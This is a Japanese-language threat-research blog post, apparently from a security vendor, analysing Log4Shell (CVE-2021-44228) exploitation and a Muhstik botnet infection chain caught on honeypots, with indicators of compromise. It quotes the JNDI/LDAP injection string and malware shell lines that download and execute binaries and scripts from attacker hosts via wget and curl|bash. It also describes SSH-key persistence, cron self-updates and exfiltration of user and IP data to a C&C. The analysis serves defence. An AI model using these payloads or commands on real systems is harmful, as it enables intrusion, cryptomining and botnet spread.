クリティカルなLog4Shell(Apache Log4j)のゼロデイ攻撃分析

クリティカルなLog4Shell(Apache Log4j)のゼロデイ攻撃分析

先週末(12月10日金曜日)、サイバーセキュリティの世界では、Apache Log4jロギング・ユーティリティに新たなゼロデイ脆弱性が存在し、容易にリモート・コード実行(RCE)を許していることが明らかになった。(詳しいニュースはこちら)。このツールの人気も相まって、複数の企業や商用アプリケーションがこの脆弱性の影響を受けています(リストの一部はこちら)。コードネームは Log4Shell(CVE-2021-44228)。Nozomi Networks は、この状況を監視するためにハニーポットを設置し、潜在的なグローバルスキャンと悪用の試みをすべて把握しました。

攻撃が単純であること、影響を受けやすいプラットフォームやシステムの数が多いことから、アパッチはこの脆弱性をすぐにクリティカルに分類した。攻撃者は、サーバーに記録される悪意のある文字列を送信するだけでよい。Minecraftのユーザーはチャット機能を使ってサーバーを悪用しており、Twitterのユーザーは表示名を変更することでエクスプロイトを引き起こすことができました。この投稿では、マルウェア作成者がすぐにこの脆弱性を利用し始めた方法に関する技術的な詳細を説明します。

最後に、弊社は攻撃診断と対策を弊社のサービス(Threat Intelligence )に追加し、進展する状況を注意深く監視し、カバー範囲を改善しています。当社の製品はApacheユーティリティを使用していないため、この脆弱性の対象にはなりません。

この脆弱性の本質は、log4jユーティリティがデフォルトでメッセージ・ルックアップ置換を有効にしていたという事実にある。その結果、攻撃者は、ユーティリティをリモートでダウンロードしてペイロードを実行させる特別なリクエストを細工することができます。ここでは、JNDI と LDAP の組み合わせを使用した最も一般的な例を示します:

${jndi:ldap://<host>:<port>/<payload_path>}

DNS、RMI、LDAPSのような他のプロトコルも悪用されるかもしれません。この動作は、Apache Log4j 2.16.0の最近のリリースで修正されました。

ほとんどのウェブ・システムは、入ってくるすべてのユーザー・リクエストをログに記録するので、ユーザー入力のあらゆる形(例えばHTTPヘッダーやURLパス)で上記のパターンを提供することは、成功する攻撃ベクターになるかもしれない。システムがリクエストを受け取り、脆弱性がトリガーされると、ペイロードがダウンロードされます。以下にその形式の例を示す:

ペイロードフォーマット例

This will make the vulnerable application download and execute the compiled Java class located at the<base_url>/<payload_filename>.class location

Log4Shellのグローバルスキャン

この脆弱性が一般に知られるようになると、サイバーセキュリティ研究者とマルウェア作者の両方がインターネットをスキャンし、脆弱なホストを探し始めた。さらに、さまざまな攻撃者がこの脆弱性を使って実験を開始し、ペイロードを配信する方法や、シグネチャ検出を回避するために難読化する方法を探った。

私たちがハニーポットを使って捕まえた例をいくつか紹介しよう:

ハニーポットの例
ハニーポットのログ
ハニーポットのログ。

悪意のあるペイロード

以下は、私たちが分析したMuhstikボットネットに関連する完全な感染チェーンの例です:

1. The initial stage payload ${jndi:ldap://45.130.229[.]168:1389/Exploit} was provided in various HTTP headers and as part of URL paths.

2.ダウンロードされると、以下の情報が含まれていた。

初段ペイロード

これにより、被害者は次の段階のペイロードhxxp://31.220.58.29/Exploit.classをダウンロードします。

3.ダウンロードし、デコンパイルすると、ダウンロードしたExploit.classに以下の機能があることがわかる:

Exploit.classの機能

ここに見られるように、次の段階のペイロードをhxxp://18.228.7.109/.log/logからシェルスクリプトの形でダウンロードして実行する。

4.ログスクリプトには以下の機能が含まれる:

wget -O /tmp/pty3 hxxp://18.228.7.109/.log/pty3; chmod +x /tmp/pty3; chmod 700 /tmp/pty3; /tmp/pty3 &.

wget -O /tmp/pty4 hxxp://18.228.7.109/.log/pty4; chmod +x /tmp/pty4; chmod 700 /tmp/pty4; /tmp/pty4 &.

wget -O /tmp/pty2 hxxp://18.228.7.109/.log/pty2; chmod +x /tmp/pty2; chmod 700 /tmp/pty2; /tmp/pty2 &.

wget -O /tmp/pty1 hxxp://18.228.7.109/.log/pty1; chmod +x /tmp/pty1; chmod 700 /tmp/pty1; /tmp/pty1 &.

wget -O /tmp/pty3 hxxp://18.228.7.109/.log/pty3; chmod +x /tmp/pty3; chmod 700 /tmp/pty3; /tmp/pty3 &.

wget -O /tmp/pty5 hxxp://18.228.7.109/.log/pty5; chmod +x /tmp/pty5; chmod 700 /tmp/pty5; /tmp/pty5 &.

(curl hxxp://210.141.105.67:80/wp-content/themes/twentythirteen/m8 || wget -qO - hxxp://210.141.105.67:80/wp-content/themes/twentythirteen/m8)|bash

(curl hxxp://159.89.182.117/wp-content/themes/twentyseventeen/ldm || wget -qO - hxxp://159.89.182.117/wp-content/themes/twentyseventeen/ldm)|bash

ここで、マルウェアは様々な実行ファイルをダウンロードし、いくつかのスクリプトに続いて実行する。

5.ペイロード pty1~pty5 を見ると、これらはさまざまなアーキテクチャ用にコンパイルされた実行可能ファイルであり、IoT 脅威によく見られるシナリオであることがわかります。


$ file pty1
pty1: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), static linked, no section header
$ file pty2
pty2: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), static linked, no section header
$ file pty3
pty3:ELF 64-bit LSB 実行形式、x86-64、バージョン 1 (GNU/Linux)、静的にリンク、セクション・ヘッダなし
$ file pty4
pty4: ELF 32-bit LSB 実行形式、Intel 80386、バージョン 1 (GNU/Linux)、静的にリンク、セクション・ヘッダなし
$ file pty5
pty5: ELF 32-bit LSB 実行形式、ARM、バージョン 1 (ARM)、静的にリンク、セクション・ヘッダなし

リバースエンジニアリングしてみると、これらは典型的なMuhstikボットネットのペイロードであることがわかる。

バイナリー・ペイロードがサポートするコマンドのリスト
バイナリー・ペイロードがサポートするコマンドのリスト。

6.m8スクリプトの主な目的は、hxxp://138.197.206.223/.x/xmra32またはhxxp://138.197.206.223/.x/xmra64(被害者のアーキテクチャによる)にある別のバイナリペイロードを配信して実行し、.kswapdという名前で保存することです。これは暗号通貨マイナーである。これが使用するプールアドレスは185.165.171.78:8081と185.86.148.14:8081です。

M8スクリプトの始まり
m8スクリプトの始まり。

7.スクリプトldmは、暗号通貨マイニングソフトウェアの処理に関連するいくつかの共有コードを持つm8と比較してかなり大きい。今回のC&C bvprzqhoz7j2ltin.onionはDarkNet上でホストされており、SOCKSプロキシやプロキシサービスを介してアクセスすることもできる:

  • bvprzqhoz7j2ltin.tor2web.su
  • bvprzqhoz7j2ltin.onion.ly
  • bvprzqhoz7j2ltin.onion.ws

このマルウェアは、攻撃者の公開鍵を認可されたssh鍵のリストに追加することで、感染したマシン上での永続性を確立する。

ldmペイロードは、攻撃者の公開SSH鍵を認可鍵リストに追加する。
ldmペイロードは、攻撃者の公開SSH鍵を認可鍵リストに追加する。

In addition, the script sets up cron jobs to periodically self-update from https://<C&C_domain>/src/ldm

ldm ペイロードは cron ジョブを使用することで永続性を実現している。
ldmペイロードは、cronジョブを使用することで永続性を実現している。

各感染は以下のC&Cアドレスに報告される:

  • hxxps://<C&C_domain>/rsl.php?ip=${net}&login=$(whoami)
  • hxxps://<C&C_domain>/src/main

最初のURLの場合、${net}は被害者のパブリックIPアドレスで、$(whoami)は被害を受けたユーザーです。2つ目のURLの場合、被害を受けたマシンとユーザーに関する情報はReferer HTTPヘッダで流出し、そのレスポンスとしてマルウェアはシェルスクリプトの実行を期待します。

マルウェアはまた、SSHキーを抽出し、bashの履歴とSSH設定、および既知のホストからマシンのリストを構築することで、横方向の移動を行うことができます。接続に成功すると、次のペイロードがダウンロードされ、これらの次の段階のマシンで実行される:

  • hxxp://34.221.40.237/.x/1sh
  • hxxp://34.221.40.237/.x/3sh

これらのスクリプトの主な目的は、前述のログスクリプトと非常によく似ています。追加のペイロードをダウンロードして実行するためで、ファイル名さえも同じです:

横移動の一部として使用される1shスクリプトの本体
横移動に使われる1shスクリプトの本体。

見てわかるように、ログスクリプトと比較して2つの新しいペイロードがあり、1つはARM、もう1つはPowerPCアーキテクチャ用である:


ファイル pty10

pty10: ELF 32-bit LSB 実行形式、ARM、EABI5 バージョン 1 (GNU/Linux)、静的にリンク、セクションヘッダなし

ファイル pty11

pty11: ELF 32-bit MSB 実行形式、PowerPC または cisco 4500、バージョン 1 (GNU/Linux)、静的にリンク、セクションヘッダなし

結論

これは、広範なシステムやユーザーに影響を及ぼしている重大な脆弱性である。この脆弱性を悪用するのは非常に簡単なので、多くの攻撃者がこの新しい脆弱性を急速に試しています。ユーザは、Apacheのロギング・ユーティリティをLog4j 2.16.0に迅速にアップグレードするか、ベンダーが提供する回避策の1つを適用しなければなりません: https://logging.apache.org/log4j/2.x/security.html。

Nozomi Networks このエクスプロイトに対する最新の対策については、当社のサービス(Threat Intelligence )をご利用ください。

IOC一覧

  • 150.158.189.96
  • 1.116.59.211
  • 61.19.25.207
  • 31.220.58.29
  • 45.130.229.168:1389
  • 185.165.171.78:8081
  • 185.86.148.14:8081
  • hxxp://31.220.58.29/Exploit.class
  • hxxp://18.228.7.109/.log/log
  • hxxp://18.228.7.109/.log/pty5
  • hxxp://18.228.7.109/.log/pty4
  • hxxp://18.228.7.109/.log/pty3
  • hxxp://18.228.7.109/.log/pty2
  • hxxp://18.228.7.109/.log/pty1
  • hxxp://34.221.40.237/.x/pty11
  • hxxp://34.221.40.237/.x/pty10
  • hxxp://34.221.40.237/.x/pty5
  • hxxp://34.221.40.237/.x/pty4
  • hxxp://34.221.40.237/.x/pty3
  • hxxp://34.221.40.237/.x/pty2
  • hxxp://34.221.40.237/.x/pty1
  • hxxp://34.221.40.237/.x/1sh
  • hxxp://34.221.40.237/.x/3sh
  • hxxp://210.141.105.67:80/wp-content/themes/twentythirteen/m8
  • hxxp://159.89.182.117/wp-content/themes/twentyseventeen/ldm
  • hxxp://157.230.189.52/wp-content/themes/twentynineteen/ldm
  • hxxps://bvprzqhoz7j2ltin[.]tor2web.su/src/ldm
  • hxxps://bvprzqhoz7j2ltin[.]onion.ly/src/ldm
  • hxxps://bvprzqhoz7j2ltin[.]onion.ws/src/ldm
  • hxxps://bvprzqhoz7j2ltin[.]tor2web.su/src/main
  • hxxps://bvprzqhoz7j2ltin[.]onion.ly/src/main
  • hxxps://bvprzqhoz7j2ltin[.]onion.ws/src/main
  • 15e7942ebf88a51346d3a5975bb1c2d87996799e6255db9e92aed798d279b36b
  • 9db49e8da667d03c6f758bafa156d0dccb6433ca3f37b3cd94170f749048b779
  • 3025630185ea8a3781422351a8a4d415b3f47ed242a70e53fb0d8755ddd01b63
  • 5fb63deb96eb24a181a58401882d064fc112036aab52a1126fbf254e07562595
  • eddcd0d13b461e60a52060fc8b60ddb06c552ff645ee557c40b43052ee35b029
  • 39db1c54c3cc6ae73a09dd0a9e727873c84217e8f3f00e357785fba710f98129
  • b74b2907b3b47fcbdab5054ec3ae8a46c7c330fa60d637e735ce9fe73d9ab687
  • 80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514
  • e20806791aeae93ec120e728f892a8850f624ce2052205ddb3f104bbbfae7f80
  • 715f1f821d028e165bfa750d73505f1a6136184999411300cc88c18ebfa6e8f7
  • a3f72a73e146834b43dab8833e0a9cfee6d08843a4c23fdf425295e53517afce
  • c38f0f809a1d8c50aafc2f13185df1441345f83f6eb4ef9c48270b9bd90c6799
  • 19370ef36f43904a57a667839727c09c50d5e94df43b9cfb3183ba766c4eae3d
  • 6370939d4ff51b934b7a2674ee7307ed06111ab3b896a8847d16107558f58e5b
  • 63d43e5b292b806e857470e53412310ad7103432ba3390ecd4f74e432530a8a9
  • b55ddbaee7abf1c73570d6543dd108df0580b08f730de299579570c23b3078c0
  • 5c46098887e488d91f42c6d9b93b17b2736c9f4cb5a4a1e476c87c0d310a3f28